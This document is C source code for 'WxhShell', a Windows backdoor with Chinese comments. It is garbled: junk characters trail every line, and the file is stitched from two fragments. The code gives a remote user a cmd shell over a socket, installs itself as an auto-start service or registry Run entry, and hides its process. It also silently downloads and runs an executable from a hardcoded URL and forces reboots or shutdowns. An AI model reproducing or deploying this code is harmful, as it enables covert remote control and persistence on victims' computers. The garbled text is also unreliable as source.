    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SH)-(+72d  
    if(Boot(SHUTDOWN)) uWJJ\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6{6hz 8  
    else { Y_CYx  
    closesocket(wsh); 8&JB_%Gb  
    ExitThread(0); 8UU L=  
    } jSjC43lh  
    break; 2E1`r@L  
    } 7qqzL_d>  
  // 获取shell &g;!n&d zP  
  case 's': { lie,A  
    CmdShell(wsh); iqlb,8  
    closesocket(wsh); D>|`+=1'0"  
    ExitThread(0); lTC0kh  
    break; '~Y@HRVL@|  
  } Krae^z9R  
  // 退出 YYpC!)  
  case 'x': { q8P&rMwy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a,w|r#x]  
    CloseIt(wsh); &|x7T<,)  
    break; +&S 7l%-  
    } x'g4DYl  
  // 离开 254V)(t^QM  
  case 'q': { $ 64up!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wQG?)aaM  
    closesocket(wsh); \ ku5%y  
    WSACleanup(); Y\9}LgIvr  
    exit(1); 0B(s+#s  
    break; R=~%kt_n  
        } a <C?- g|  
  } (iq>]-=<  
  } @ eJ8wf]  
_^W;J/He  
  // 提示信息 'i%r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Srx:rUCv  
} Ah1 9#0  
  } l/={aF7+  
>Lo\?X~  
  return; 1(@$bsgu2  
} G%sq;XT61  
5QiQDQT}5  
// shell模块句柄 OTF/Pu$  
int CmdShell(SOCKET sock) YVc cO~!8  
{ Jw _>I  
STARTUPINFO si; Zp)=l Td  
ZeroMemory(&si,sizeof(si)); PcC@}3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _Z(t**Zh6y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {_N9<i{T  
PROCESS_INFORMATION ProcessInfo; 7_\F$bp`  
char cmdline[]="cmd"; <7]HM5h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bY#BK_8 :  
  return 0; by<@\n2B:U  
} ~yJ2@2I  
)I&.6l!#  
// 自身启动模式 =sk[I0W  
int StartFromService(void) $A?9U}V#^  
{ Rq}lW.<r  
typedef struct Kkp dcc  
{ V~/G,3:0y%  
  DWORD ExitStatus; 3aq'JVq   
  DWORD PebBaseAddress; u79- B-YW^  
  DWORD AffinityMask; KFbB}oId  
  DWORD BasePriority; e%[*NX/  
  ULONG UniqueProcessId; |BFzTz,o  
  ULONG InheritedFromUniqueProcessId; i*=~m O8E  
}   PROCESS_BASIC_INFORMATION; '{AB{)1  
kY$EK]s  
PROCNTQSIP NtQueryInformationProcess;  E4eX fu  
YJv$,Z&;HO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2yK">xYY@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c9nR&m8(+  
esJ7#Gxt  
  HANDLE             hProcess; O=3/ qs6m  
  PROCESS_BASIC_INFORMATION pbi; zzZ EX  
W#bYz{s.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -~{Z*1`,  
  if(NULL == hInst ) return 0; 5z_d$.CIc  
i"G'#n~e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n.+'9Fj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l?*DGW(t{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZwDL  
W q<t+E[  
  if (!NtQueryInformationProcess) return 0; lndz  
q2X::Yqk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P{9:XSa%  
  if(!hProcess) return 0; U:TkO=/>:  
g.&B8e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C{bxPILw  
(S!UnBb&  
  CloseHandle(hProcess); J|BElBY  
(%fQhQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w||t3!M+n  
if(hProcess==NULL) return 0; *|=D 0  
!Axe}RD'  
HMODULE hMod; NTt4sWP!I  
char procName[255]; 'u<e<hU  
unsigned long cbNeeded; Be|! S_Y P  
 Gk~aTO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =c@hE'{  
=v<w29P(g  
  CloseHandle(hProcess); mEJ7e#  
@SD XJJ h  
if(strstr(procName,"services")) return 1; // 以服务启动 "\@J0 |ppb  
@4;'>yr(  
  return 0; // 注册表启动 B!Wp=9)G  
} Ixn|BCi60A  
?V2P]|  
// 主模块 zls^JTE  
int StartWxhshell(LPSTR lpCmdLine) ~ =u8H  
{ rT` sY  
  SOCKET wsl; +DRt2a #  
BOOL val=TRUE; lf`ULY4{  
  int port=0; ''9]`B,:a0  
  struct sockaddr_in door; '^)'q\v'k  
Gt*<Awn8  
  if(wscfg.ws_autoins) Install(); ;((t|  
\uTlwS  
port=atoi(lpCmdLine); 8~(,qU8-N  
%O9Wm_%  
if(port<=0) port=wscfg.ws_port; Wq3PN^  
*R+M#l9D`  
  WSADATA data; ug]2wftlQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ze%S<xT!O  
gqv+|:#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2@MpWj4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =-oP,$k  
  door.sin_family = AF_INET; Lz1KDXr`)+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,u|>%@h  
  door.sin_port = htons(port); qK$O /g,  
F2zo !a8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5{yg  
closesocket(wsl); ;}6wj@8He  
return 1; x9F *$G  
} e5AsX.kv B  
|\Gkhi>;  
  if(listen(wsl,2) == INVALID_SOCKET) { <,DMD  
closesocket(wsl); OF*E1B M  
return 1; EJ {vJZO  
} nP*DZC0kE&  
  Wxhshell(wsl); O_ r-(wE4  
  WSACleanup(); .~I:Hcf/  
iJh{ ,0))g  
return 0; <!t;[ie?y  
;LgMi5dN  
} w)<.v+u.Y  
$~q{MX&J  
// 以NT服务方式启动 B[mZQ&Gz`a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }{:Jj/d p  
{ 4%}iKoT   
DWORD   status = 0; alRz@N  
  DWORD   specificError = 0xfffffff; 0<uL0FOT  
I[A<e]uK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9/8+R%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UHV"<9tk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NfQ QJ@*  
  serviceStatus.dwWin32ExitCode     = 0; wy|b Hkr_  
  serviceStatus.dwServiceSpecificExitCode = 0; O\q6T7bfRW  
  serviceStatus.dwCheckPoint       = 0; "uZ^zV`"  
  serviceStatus.dwWaitHint       = 0; _$A?  
%a8e_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Rex 86!TO  
  if (hServiceStatusHandle==0) return; d?5oJ'JU  
xGOmvn^lQ  
status = GetLastError(); YpZuAJm<2_  
  if (status!=NO_ERROR) k{!9 f=^   
{ a"}ndrc*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v\(6uej^  
    serviceStatus.dwCheckPoint       = 0; w}/+3z  
    serviceStatus.dwWaitHint       = 0;  f^}n#  
    serviceStatus.dwWin32ExitCode     = status; |pknaz  
    serviceStatus.dwServiceSpecificExitCode = specificError; KWYjN h#*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sc-+?i  
    return; asQ^33g z  
  } hw`pi6  
y]!#$C /  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nql{k/6  
  serviceStatus.dwCheckPoint       = 0; Ya jAz5N  
  serviceStatus.dwWaitHint       = 0; $<VH~Q<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )`<&~>qp  
} lwG)&qyVd  
4K~>  
// 处理NT服务事件,比如:启动、停止 Ii3F|Vb G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D{6BX-Dw.  
{ mq}uq9<  
switch(fdwControl) .2|(!a9W  
{ _/ 5  
case SERVICE_CONTROL_STOP: =yRv *C  
  serviceStatus.dwWin32ExitCode = 0; ]l=CiG4!M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TQ~a5q  
  serviceStatus.dwCheckPoint   = 0; ^IvQdVB  
  serviceStatus.dwWaitHint     = 0; @I&k|\  
  { n%}#e!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k8+U0J_{'  
  } 'aeuL1mz  
  return;  '"hSX=  
case SERVICE_CONTROL_PAUSE: zII^Ny8D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [tC=P&<  
  break; t8lGC R  
case SERVICE_CONTROL_CONTINUE: osO\ib_%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #<V5sgq S  
  break; _K!)0p  
case SERVICE_CONTROL_INTERROGATE: ;eW)&qzK  
  break; [T3%Xt'4  
}; T`u ,!S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IQ$6}.  
} szqR1A  
!F Zg' 9  
// 标准应用程序主函数 ,CBE&g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _Wp.s]D [  
{ +T,0,^ *  
y\:Ma7V  
// 获取操作系统版本 qd'Z|'j  
OsIsNt=GetOsVer(); Qip@L WvT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M`* BS  
|v#rSVx  
  // 从命令行安装 n0V^/j}  
  if(strpbrk(lpCmdLine,"iI")) Install(); CLuQ=-[|  
`O%O[  
  // 下载执行文件 B <G,{k  
if(wscfg.ws_downexe) { iJKGzHvS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZP0D)@8  
  WinExec(wscfg.ws_filenam,SW_HIDE); <1QXZfQ"  
} =L?2[a$2;  
YB:}L b  
if(!OsIsNt) { \lwLVe  
// 如果时win9x,隐藏进程并且设置为注册表启动 5Z:qU{[  
HideProc(); }Q6o#oZ  
StartWxhshell(lpCmdLine); 9pWSvalw9  
} #\K"FE0PGz  
else Q/h-Kh mz  
  if(StartFromService()) lPtML<a  
  // 以服务方式启动 j0{Qy;wP )  
  StartServiceCtrlDispatcher(DispatchTable); r'o378]=  
else 5e?<x>e  
  // 普通方式启动 P%!=Rj^2m  
  StartWxhshell(lpCmdLine); ['K}p24,  
N9rAosO*  
return 0; bu08`P9  
} l<7SB5  
1FT3d  
Pl2eDv-y  
bg)}-]u]  
=========================================== g^\!> i  
h7o.RRhK  
$Fy >N>,E(  
eYu0")  
:s-9@Yl|  
9E[==2TO  
" !?|xeQ}  
LPca+o|f  
#include <stdio.h> |TR +Wn  
#include <string.h> @:>gRD  
#include <windows.h> ~zWLqnS}  
#include <winsock2.h> hp2$[p6O  
#include <winsvc.h> h b8L[ 4  
#include <urlmon.h> y3PrLBTz  
{9^p3Q+:P  
#pragma comment (lib, "Ws2_32.lib") q)AX*T+  
#pragma comment (lib, "urlmon.lib") 0y+i?y 9  
2n-kJl`: O  
#define MAX_USER   100 // 最大客户端连接数 h[<l2fy  
#define BUF_SOCK   200 // sock buffer GY^;$?  
#define KEY_BUFF   255 // 输入 buffer {.y_{yWo  
C46jVl   
#define REBOOT     0   // 重启 #~.RJ%  
#define SHUTDOWN   1   // 关机 ojA!!Ru  
64>CfU(  
#define DEF_PORT   5000 // 监听端口 #5{BxX&\  
MpIiHKQ G9  
#define REG_LEN     16   // 注册表键长度 $2-_j)+  
#define SVC_LEN     80   // NT服务名长度 d9%P[(yM^  
<z>oY2%  
// 从dll定义API l@-h.tS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VYt<j<ba  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F!*GrQms  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )8SWU)/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @g]EY&Uzl  
uv^x  
// wxhshell配置信息 m - hZ5 i  
struct WSCFG { -~X[j2  
  int ws_port;         // 监听端口 {];-b0MS~  
  char ws_passstr[REG_LEN]; // 口令 a#& ( i  
  int ws_autoins;       // 安装标记, 1=yes 0=no vbZ!NO!H  
  char ws_regname[REG_LEN]; // 注册表键名 UP%6s:>:  
  char ws_svcname[REG_LEN]; // 服务名 evNe6J3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;Zr7NKs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~P;A 9A(k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U=U5EdN;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TY'61xWi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t V>qV\>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z0#2?o  
#N'9 w .  
}; D{[{&1\)r  
2i1xSKRYrD  
// default Wxhshell configuration .`V$j.a  
struct WSCFG wscfg={DEF_PORT, JY^i  
    "xuhuanlingzhe", nAAv42j[  
    1, P8ZmrtQm  
    "Wxhshell", N-Z=p)]  
    "Wxhshell", "Aw)0a[j1  
            "WxhShell Service", CH;U_b  
    "Wrsky Windows CmdShell Service", M}f(-,9  
    "Please Input Your Password: ", t8rFn  
  1, Eh|,[ D!E  
  "http://www.wrsky.com/wxhshell.exe", AS re@pW  
  "Wxhshell.exe" ;ko6igx)+  
    }; gq/Za/ !6  
,sL%Ykr  
// 消息定义模块 0y?;o*&U\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TsGx2[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jlFlhj:/I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w>=N~0@t  
char *msg_ws_ext="\n\rExit."; Ke?,AWfG  
char *msg_ws_end="\n\rQuit."; Jww#zEK  
char *msg_ws_boot="\n\rReboot..."; #8yo9g6  
char *msg_ws_poff="\n\rShutdown..."; y$SUYG'v  
char *msg_ws_down="\n\rSave to "; 9OW8/H&!  
GZNN2 '  
char *msg_ws_err="\n\rErr!"; .9PT)^2  
char *msg_ws_ok="\n\rOK!"; |?8nO.C~V  
<r$h =hM  
char ExeFile[MAX_PATH]; l:uQ#Z)  
int nUser = 0; +>K&zS  
HANDLE handles[MAX_USER]; ZH9Fs'c=  
int OsIsNt; kP ,8[r  
vZ"gCf3#?3  
SERVICE_STATUS       serviceStatus; qqf*g=f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \y]K]iv  
dnU-v7k,{  
// 函数声明 Z?!AJY  
int Install(void); ._^ne=Lx  
int Uninstall(void); ]\ _tO  
int DownloadFile(char *sURL, SOCKET wsh); -OlrA{=c_  
int Boot(int flag); ZL\^J8PRK  
void HideProc(void); PQ[?zNrSV  
int GetOsVer(void); RO,TNS~  
int Wxhshell(SOCKET wsl); %HoD)OJe  
void TalkWithClient(void *cs); j9h fW'  
int CmdShell(SOCKET sock); ng!cK<p  
int StartFromService(void); ,.>9$(s  
int StartWxhshell(LPSTR lpCmdLine); H~:oW~Ah  
,v>;/qm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !V3+(o 1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <TtPwUX  
6{=U= *  
// 数据结构和表定义 `?(J(H  
SERVICE_TABLE_ENTRY DispatchTable[] = xL"J?Gy  
{ YYYF a  
{wscfg.ws_svcname, NTServiceMain}, $) "\N  
{NULL, NULL} x"e;T,c  
}; 0't)-Pj+,  
$Z#~wsw  
// 自我安装 B=& [Z2  
int Install(void) O0L]xr  
{ vHcl7=)Q  
  char svExeFile[MAX_PATH];  &kmaKc  
  HKEY key; /-[vC$B"  
  strcpy(svExeFile,ExeFile); p7;K] AW  
t,|Apl]  
// 如果是win9x系统,修改注册表设为自启动 >*ls} q^  
if(!OsIsNt) { JR.)CzC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |ffHOef  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]A%3\)r  
  RegCloseKey(key); scH61Y8`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DPxx9lN_rx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pxTtV g.  
  RegCloseKey(key); e72Fz#<q  
  return 0;  g]?pY  
    } =|1_6.tz  
  } ^7aqe*|vm  
} z.-yL,Rc`-  
else { xn2nh@;  
@e3+Gs  
// 如果是NT以上系统,安装为系统服务 qP#LJPaS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D r(0w{5  
if (schSCManager!=0) Dnw^H.  
{ %lnkD5  
  SC_HANDLE schService = CreateService uK"  T~  
  ( :k1?I'q%  
  schSCManager, _F6<ba}o3  
  wscfg.ws_svcname, Gkuqe3  
  wscfg.ws_svcdisp, '=E;^'Rl  
  SERVICE_ALL_ACCESS, V*\hGNV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /ZV2f3;t  
  SERVICE_AUTO_START, ,M3hE/rb/  
  SERVICE_ERROR_NORMAL, md+pS"8o;  
  svExeFile, (1D1;J4g  
  NULL, Gb `)d  
  NULL, RQ8d1US  
  NULL, JyE-c}I  
  NULL, =|E "  
  NULL N=1ue`i  
  ); d9S/_iCI  
  if (schService!=0) hE(R[hc  
  { rt*x[5<  
  CloseServiceHandle(schService); rk1,LsZVS  
  CloseServiceHandle(schSCManager); )^o.H~Pv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tI{]&dev  
  strcat(svExeFile,wscfg.ws_svcname); n5d8^c!2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gd0)s1{9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <K^a2 D  
  RegCloseKey(key); V>QyiB  
  return 0; 2QaE&8vW  
    } /lC# !$9vz  
  } h s',f  
  CloseServiceHandle(schSCManager); :%sBY0 yF  
} 4aOz=/x2  
} vGv<WEE  
fVn4=d6X  
return 1; LMoZI0)x  
} DK?aFSf\  
aDRcVA$*  
// 自我卸载 5T#v &  
int Uninstall(void) nu\AEFT  
{ ]6Iu\,#J  
  HKEY key; 7/~=[#]*  
|-V:#1wR.]  
if(!OsIsNt) { j<kW+Iio  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Uwkxc  
  RegDeleteValue(key,wscfg.ws_regname); LnE/62){N  
  RegCloseKey(key); h_4*?w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W_M#Gi/ AL  
  RegDeleteValue(key,wscfg.ws_regname); Cqnuf5e>L  
  RegCloseKey(key); GrG'G(NQ  
  return 0; +45SKu=  
  } 4:rwzRDY  
} ~o_JZ:  
} gPCf+>X{  
else { iKo2bC:.&  
C1NU6iV^z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E:8*o7  
if (schSCManager!=0) _33 b %  
{ '=$`NG8 l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ni>Ns=n  
  if (schService!=0) H14Q-2U1xa  
  { 3 zh:~w_  
  if(DeleteService(schService)!=0) { "B: FSWM_-  
  CloseServiceHandle(schService); FcM)v"bF&]  
  CloseServiceHandle(schSCManager); SWzqCF  
  return 0; 9 3)fC  
  } -OJ<Lf+"=  
  CloseServiceHandle(schService); +TqrvI.  
  } nPvys~D  
  CloseServiceHandle(schSCManager); -& (iU#W  
} LujLC&S  
} $CMye; yL  
PMTrG78p*  
return 1; +m./RlQ{  
} hiVa\s  
H8w[{'Mei  
// 从指定url下载文件 P0m9($JBD  
int DownloadFile(char *sURL, SOCKET wsh) !Np7mv\7  
{ lUjZ=3"'  
  HRESULT hr; \r:*`Z*y  
char seps[]= "/"; #$W5)6ch  
char *token; 3T.V*&  
char *file; K@=u F 1?  
char myURL[MAX_PATH]; (!fx5&F  
char myFILE[MAX_PATH]; 9 RDs`>v  
p+~Imf-Jk  
strcpy(myURL,sURL); By6O@ .\V  
  token=strtok(myURL,seps); Zocuc"j  
  while(token!=NULL) r1 :TM|5L  
  { qZ!kVrmg&  
    file=token; (.=Y_g.  
  token=strtok(NULL,seps); .b_ppieNY  
  } !B Pm{_C  
&*/= `=:C8  
GetCurrentDirectory(MAX_PATH,myFILE); F#|y,<}<  
strcat(myFILE, "\\"); g5+m]3#t  
strcat(myFILE, file); F1BvDplQ>G  
  send(wsh,myFILE,strlen(myFILE),0); (5] [L<L  
send(wsh,"...",3,0); EE]xZz>o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;R0LJApey  
  if(hr==S_OK) nmn/4>  
return 0; lfb+)s  
else <m\Y$Wv  
return 1; %0y-f  
4I&(>9 @z<  
} .Bkfe{^  
HgW!Q(*  
// 系统电源模块 %?n=I n(F  
int Boot(int flag) 9LPXhxNwB  
{ Y.I~.66s  
  HANDLE hToken; )0 E_Y@  
  TOKEN_PRIVILEGES tkp; X,+a 6F  
}.D18bE(  
  if(OsIsNt) { =U~53Tg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); > A@yF?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;g8v7>p  
    tkp.PrivilegeCount = 1; ~*3Si(4l/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D8! Y0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x(sKkm`Q  
if(flag==REBOOT) { bn|HvLQ"1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pvl];w  
  return 0; 6@lZVM)E  
} i{N?Y0YQs0  
else { -ewR:Y@j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {9;-5@b  
  return 0; TT9 \m=7  
} 1O,5bi>t7  
  } c]1AM)xo  
  else { ZYY~A_C  
if(flag==REBOOT) { PUD8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E4\HI+  
  return 0; IHCxM|/k(M  
} vK/`or3U  
else { lAG@nh^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n|WSnm,W  
  return 0; \H>Psv{  
} 5{ +>3J  
} \kKd:C{  
/C'_-U?  
return 1; euV!U}Xr  
} z@ZI$.w  
ze9n}oN  
// win9x进程隐藏模块 W\0u[IV.x  
void HideProc(void) <]z4;~/&  
{ 0iC5,  
hFtjw6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _I EbRVpb  
  if ( hKernel != NULL ) BZTj>yd  
  { ^o>WCU=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6NyUGGRq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v; ewMiK@E  
    FreeLibrary(hKernel); <2 kv/  
  } ;B2&#kot7  
fUis_?!  
return; F@ pf._c  
} 4_2oDcdf  
=B+dhZ+#S$  
// 获取操作系统版本 XmwR^  
int GetOsVer(void) 3HR)H-@6@7  
{ c3rj :QK6I  
  OSVERSIONINFO winfo; c*axw%Us  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ('uUf!h?\  
  GetVersionEx(&winfo); !.iFU+?V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t]vv&vk>  
  return 1; 5i{J0/'Xu)  
  else Ed;!A(64r  
  return 0; yXtQfR  
} vKPLh   
A? jaS9 &)  
// 客户端句柄模块 bx6=LK  
int Wxhshell(SOCKET wsl) >}0H5Q8@  
{ Kx[+$Qt  
  SOCKET wsh; ~z41$~/  
  struct sockaddr_in client; XmVst*2=  
  DWORD myID; S}Z@g  
f2KH&j>~r  
  while(nUser<MAX_USER) D'D IC  
{ FW3E UC)P  
  int nSize=sizeof(client); Ps 0<CUyI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $%&OaAg  
  if(wsh==INVALID_SOCKET) return 1; @3b@]l5  
C[ KMaB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0[uOKFgE  
if(handles[nUser]==0) (<Cg|*s  
  closesocket(wsh); +g1+,?cU  
else hCX/k<}I  
  nUser++; j g EYlZ  
  } ,N_V(Cx5pt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 09Q5gal  
PRyzvc~  
  return 0; DV({! [EP  
} *cX i*7|=  
Y>2#9LA  
// 关闭 socket 7''iT{-[p  
void CloseIt(SOCKET wsh) #'i,'h+F  
{ I&^hG\D  
closesocket(wsh); Kj?hcG l[  
nUser--; BOdlz#&s  
ExitThread(0); z -]ND  
} |w>b0aY  
VS~+W=5}  
// 客户端请求句柄 pma=*  
void TalkWithClient(void *cs) v}!^RW 'X  
{ m("KLp8  
HYJEz2RF  
  SOCKET wsh=(SOCKET)cs; I&&;a.  
  char pwd[SVC_LEN]; Ak}`zIo  
  char cmd[KEY_BUFF]; olHmRJ  
char chr[1]; 1p-<F3;  
int i,j; VYH $em6  
PyQ\O*  
  while (nUser < MAX_USER) { %bG\  
y<BG-  
if(wscfg.ws_passstr) { @y eAM7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Iy4 RE P|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :;]O;RXt  
  //ZeroMemory(pwd,KEY_BUFF); NUuIhB+  
      i=0; >V%.=})K  
  while(i<SVC_LEN) { ?;_Mxal'  
J'I1NeK  
  // 设置超时 (@* %moo  
  fd_set FdRead; gla'urb[i|  
  struct timeval TimeOut; lm{4x~y$h  
  FD_ZERO(&FdRead); j97K\]tQ  
  FD_SET(wsh,&FdRead); {uqP+Cs  
  TimeOut.tv_sec=8; je>mAQKi\  
  TimeOut.tv_usec=0; Q} -YD.bx3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g`6I,6G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }n,LvA@[0  
:prx:7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $9 G".T  
  pwd=chr[0]; x_(K%0+Ca  
  if(chr[0]==0xd || chr[0]==0xa) { A(+V{1 L'  
  pwd=0; Pn ?gB}l  
  break; ,nUovWN07  
  } 2UBAk')O}  
  i++; ' 1dhdm8  
    } \M Av's4b@  
7VLn$q]:  
  // 如果是非法用户,关闭 socket a\p`J9Z@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _~y-?(46K  
} gU@R   
(|tR>R.Wxg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +}f}!h;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rF/<}ye/4M  
7e)j|a-!<  
while(1) { AFsYP/g]  
N=@8~{V.  
  ZeroMemory(cmd,KEY_BUFF); L*{E-m/  
WjvgDNk  
      // 自动支持客户端 telnet标准   hu~XFRw15  
  j=0; (J j'kW6G6  
  while(j<KEY_BUFF) { h,MaF<~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B2)5Z]  
  cmd[j]=chr[0]; /~/nhKm  
  if(chr[0]==0xa || chr[0]==0xd) { YgQb(umK  
  cmd[j]=0; U@}P]'`'f  
  break;  ]C-a[  
  } i\ )$  
  j++; VF~kjH2>  
    } X09i+/ICK  
;F /w&u.n  
  // 下载文件 #0Z%4WQ  
  if(strstr(cmd,"http://")) { {t('`z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X9YbTN  
  if(DownloadFile(cmd,wsh)) ?oU5H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K/!>[d  
  else j Oxnf%jl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H<l0]-S{  
  } ql_,U8Jw  
  else { S6{y%K2y&  
